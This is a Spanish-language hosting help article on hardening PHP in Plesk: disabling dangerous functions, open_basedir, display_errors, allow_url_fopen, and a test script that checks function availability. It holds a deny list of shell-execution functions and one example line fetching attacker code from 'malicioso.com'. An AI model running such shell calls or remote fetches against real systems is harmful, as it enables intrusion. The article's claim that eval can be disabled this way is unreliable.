Plesk: Cómo configurar el Modo Seguro (Safe Mode) y limitar funciones PHP
¿Qué es el Modo Seguro (Safe Mode) en Plesk y por qué debería importarte?
Cuando hablamos de plesk safe mode, no nos referimos a una función mágica que hace que tu web sea indestructible. En realidad, el Modo Seguro es un conjunto de restricciones que se aplican a la ejecución de scripts PHP para que, si un atacante consigue colar código malicioso, este tenga la menor cantidad de recursos posible para hacer daño.
Piensa en ello como ponerle un candado extra a la puerta de tu casa. La cerradura principal es tu contraseña de FTP y la base de datos. El candado extra es el Modo Seguro: limita qué funciones de PHP pueden ejecutarse, qué archivos puede leer tu script y qué comandos del sistema operativo puede ejecutar.
En Plesk, este concepto se ha refinado con los años. Ya no existe el safe_mode de PHP como en los viejos tiempos (que se desactivó en PHP 5.4), pero Plesk te ofrece herramientas modernas para lograr el mismo objetivo: limitar funciones php plesk de forma granular y muy efectiva.
Si tu web usa WordPress, Joomla, PrestaShop o cualquier CMS, esta configuración es vital. Muchos ataques automatizados buscan vulnerabilidades en plugins para ejecutar funciones peligrosas como exec, shell_exec, system o passthru. Si las desactivas, el atacante se encuentra con un muro.
¿Qué funciones PHP deberías limitar por seguridad?
Antes de entrar en el "cómo", hablemos del "qué". Cuando configures la seguridad php plesk, te encontrarás con una lista larga de funciones. No todas son peligrosas, pero muchas sí.
Estas son las funciones que casi siempre deberías desactivar en un entorno de producción:
exec– Ejecuta comandos externos del sistema.shell_exec– Ejecuta comandos a través de la shell.system– Muestra la salida de un comando del sistema.passthru– Ejecuta un comando y devuelve la salida cruda.popen– Abre un proceso como si fuera un archivo.proc_open– Ejecuta un comando y abre punteros de archivo.pcntl_exec– Ejecuta un programa en el espacio del proceso actual.eval– Evalúa código PHP como si fuera parte del script. (¡Esta es muy peligrosa!).assert– Similar a eval en ciertos contextos.curl_exec– Puede usarse para exfiltración de datos si no se controla.file_get_contentsyfile_put_contents– Solo si confías al 100% en tu código. Mejor desactivarlas en sitios con mucho tráfico y plugins de terceros.
[WARNING] No desactives todas las funciones de golpe. Algunos CMS y plugins necesitan funciones como
file_get_contentspara funcionar. Ve una por una y prueba tu web después de cada cambio.
Cómo acceder a la configuración de PHP en Plesk
Para configurar el modo seguro plesk, sigue estos pasos:
- Inicia sesión en Plesk.
- Ve a Sitios web y dominios.
- Busca tu dominio y haz clic en Configuración de PHP (o "PHP Settings" si lo tienes en inglés).
Se abrirá una página con varias pestañas y opciones. Dependiendo de la versión de Plesk que uses (obsidian, onyx, etc.), verás algo como:
- Modo de ejecución de PHP: FPM, CGI, mod_php, etc.
- Configuración de rendimiento: límites de memoria, tiempo de ejecución.
- Configuración de seguridad: aquí es donde trabajaremos.
Paso a paso: Configurar el Modo Seguro en Plesk
1. Selecciona el modo de ejecución de PHP adecuado
El primer paso para un plesk safe mode efectivo es elegir bien el modo de ejecución.
- FPM (FastCGI Process Manager): Es el más recomendado. Ejecuta PHP como un servicio separado y permite configuraciones por dominio. Es el que te permite limitar funciones por sitio.
- CGI: Funciona pero es más lento y menos flexible.
- mod_php: Se integra con Apache, pero no te deja configurar límites por dominio. Evítalo si puedes.
[TIP] Si tienes varios sitios en el mismo servidor, usa FPM. Así puedes darle a un sitio funciones restringidas y a otro todas las que necesite, sin afectarse entre sí.
2. Localiza el bloque de "Funciones deshabilitadas"
Dentro de la configuración de PHP, busca un campo llamado "Deshabilitar funciones" (disable_functions). Es una caja de texto donde puedes escribir las funciones separadas por comas.
Por ejemplo, para desactivar exec plesk, escribirías:
exec, shell_exec, system, passthru
Pero no te quedes solo con esas. Aquí te dejo una lista más completa que puedes copiar y pegar:
exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec, eval, assert, dl, ini_set, mail, putenv, apache_child_terminate, posix_kill, posix_setpgid, posix_setsid, posix_setuid, proc_close, proc_get_status, proc_nice, proc_terminate, syslog, escapeshellarg, escapeshellcmd
3. Guarda los cambios
Haz clic en Aceptar o Aplicar. La página se recargará y PHP se reiniciará automáticamente.
[INFO] No necesitas reiniciar el servidor completo. Plesk se encarga de recargar la configuración de PHP en caliente.
Cómo limitar funciones PHP en Plesk por dominio específico
Una de las grandes ventajas de Plesk es que puedes tener configuraciones diferentes por dominio. Esto es clave si gestionas varios sitios con necesidades distintas.
- Ve a Sitios web y dominios.
- Selecciona el dominio que quieras configurar.
- Entra en Configuración de PHP.
- Marca la casilla "Configuración personalizada" (o "Custom settings").
- Ahora puedes modificar las funciones deshabilitadas solo para ese dominio.
Esto es especialmente útil si tienes un sitio que necesita exec para una funcionalidad específica (como un generador de PDFs) pero no quieres que otros sitios del mismo servidor tengan ese privilegio.
Ejemplo práctico: Desactivar exec, shell_exec y system
Vamos a hacer un caso real. Imagina que tienes un WordPress y quieres desactivar exec plesk para protegerte de ataques que intenten ejecutar comandos en el servidor.
- Ve a tu dominio → Configuración de PHP.
- En el campo "Deshabilitar funciones", escribe:
exec, shell_exec, system, passthru, popen, proc_open
- Guarda los cambios.
- Prueba tu web. Revisa que todo carga correctamente, que los formularios funcionan, que las imágenes se suben bien.
Si algo falla, vuelve y retira una función a la vez hasta encontrar la culpable. A veces, plugins de caché o de optimización de imágenes usan exec para convertir formatos.
[TIP] Si usas un plugin de caché como WP Rocket o W3 Total Cache, primero desactívalo, prueba, y luego vuelve a activarlo. Algunos necesitan
execpara minificar archivos CSS/JS.
Otras opciones de seguridad PHP en Plesk que debes revisar
Además de limitar funciones php plesk, hay otras configuraciones que refuerzan la seguridad:
open_basedir
Esta directiva limita qué directorios puede acceder PHP. Si tu sitio está en /var/www/vhosts/tudominio.com/, puedes restringir PHP para que solo acceda a esa carpeta.
En Plesk, esta opción suele estar preconfigurada, pero puedes ajustarla:
open_basedir = /var/www/vhosts/tudominio.com/:/tmp/
Esto evita que un script malicioso lea archivos de otros dominios o del sistema.
display_errors
Esta directiva controla si los errores de PHP se muestran en pantalla. En producción, debe estar en Off.
- Si está en On, un atacante podría ver rutas internas, nombres de archivos y otros datos sensibles.
allow_url_fopen
Permite que PHP acceda a archivos remotos mediante URLs. Si está activo, un atacante podría usar file_get_contents('http://malicioso.com/script.txt') para descargar código.
Desactívalo si no lo necesitas:
allow_url_fopen = Off
max_execution_time
Limita cuánto tiempo puede ejecutarse un script. Esto evita ataques de denegación de servicio (DoS) que ejecutan bucles infinitos.
Un valor razonable es 30 o 60 segundos.
Cómo verificar que el Modo Seguro está funcionando
Después de configurar todo, es hora de comprobar que realmente funciona. Crea un archivo PHP de prueba en tu servidor:
- Ve a Administrador de archivos en Plesk.
- Crea un archivo llamado
test_seguridad.phpen la raíz de tu dominio. - Pega este código:
<?php
if (function_exists('exec')) {
echo "exec está ACTIVA";
} else {
echo "exec está DESACTIVADA";
}
echo "<br>";
if (function_exists('shell_exec')) {
echo "shell_exec está ACTIVA";
} else {
echo "shell_exec está DESACTIVADA";
}
echo "<br>";
if (function_exists('system')) {
echo "system está ACTIVA";
} else {
echo "system está DESACTIVADA";
}
?>
- Accede a
http://tudominio.com/test_seguridad.phpdesde tu navegador.
Deberías ver que las funciones aparecen como DESACTIVADA. Si ves "ACTIVA", significa que la configuración no se aplicó correctamente.
[WARNING] Elimina este archivo de prueba después de verificarlo. Un archivo con código PHP que muestra información del sistema es un riesgo en sí mismo.
Errores comunes y cómo solucionarlos
Mi web da error 500 después de desactivar funciones
Esto es normal. Algunos plugins o temas usan funciones que acabas de bloquear. La solución es:
- Revisa el log de errores en Plesk → Registros de errores.
- Busca el nombre de la función que falla.
- Añádela de nuevo a la lista de funciones permitidas (quítala de la lista de deshabilitadas).
No encuentro el campo "Deshabilitar funciones"
En algunas versiones de Plesk, este campo está en Configuración de PHP → pestaña "Configuración avanzada". Busca una sección llamada "Opciones de seguridad".
Quiero desactivar funciones pero no sé cuáles
Empieza solo con las más peligrosas: exec, shell_exec, system, passthru, popen, proc_open. Esas casi nunca se necesitan en un CMS estándar.
Diferencias entre Plesk y Syspanel (HestiaCP)
Algunos clientes vienen de otros paneles de control como Syspanel (antes conocido como HestiaCP). Si ese es tu caso, ten en cuenta que:
- En Syspanel, el acceso se realiza por el puerto 2106 (por ejemplo,
https://tuserver.com:2106). - La configuración de PHP en Syspanel es menos granular que en Plesk. No puedes desactivar funciones por dominio, solo a nivel global.
- Plesk te da mucho más control sobre la seguridad php plesk, por eso muchos clientes migran a Plesk cuando necesitan opciones avanzadas.
[INFO] Si estás migrando de Syspanel a Plesk, revisa bien tus configuraciones de PHP. Lo que hacías en Syspanel de forma global, ahora puedes hacerlo de forma individual por dominio, lo cual es mucho más seguro.
Preguntas frecuentes (FAQ)
¿El Modo Seguro de Plesk afecta al rendimiento?
No de forma notable. Las funciones deshabilitadas simplemente no se cargan. El rendimiento puede incluso mejorar porque PHP tiene menos código que comprobar.
¿Puedo desactivar todas las funciones de PHP?
Técnicamente sí, pero tu web dejará de funcionar. PHP necesita funciones básicas como strlen, array_push, etc. Desactiva solo las funciones peligrosas.
¿Qué pasa si un plugin necesita exec?
Algunos plugins de SEO, generadores de sitemaps o herramientas de backup lo usan. Si lo desactivas, el plugin puede fallar. En ese caso:
- Busca un plugin alternativo que no use funciones del sistema.
- O crea una excepción solo para ese dominio (si usas FPM).
¿Con qué frecuencia debo revisar esta configuración?
Cada vez que instales un plugin nuevo o actualices tu CMS, revisa que todo sigue funcionando. Los plugins pueden cambiar sus requisitos.
¿Esto protege mi web de ataques SQL injection?
No. El Modo Seguro y las funciones deshabilitadas protegen contra ejecución de código malicioso, pero no contra inyecciones SQL. Para eso necesitas un buen firewall de aplicaciones web (WAF) y mantener tus bases de datos actualizadas.
Conclusión: La seguridad PHP en Plesk es tu primera línea de defensa
Configurar el modo seguro plesk y limitar funciones php plesk no es opcional si te tomas en serio la seguridad de tu web. Es un proceso sencillo que te toma 10 minutos y que puede salvar tu sitio de un ataque grave.
Recuerda lo esencial:
- Usa FPM como modo de ejecución.
- Desactiva al menos
exec,shell_exec,systemypassthru. - Configura
open_basedircorrectamente. - Desactiva
display_errorsen producción. - Prueba tu web después de cada cambio.
Y si vienes de Syspanel, recuerda que en Plesk tienes mucho más control. Tómate el tiempo de explorar las opciones de Configuración de PHP de cada dominio. Tu web (y tu tranquilidad) te lo agradecerán.
Si en algún momento tienes dudas o tu web deja de funcionar después de aplicar estos cambios, no dudes en abrir un ticket de soporte. Estamos aquí para ayudarte a que tu sitio sea rápido, estable y, sobre todo, seguro.
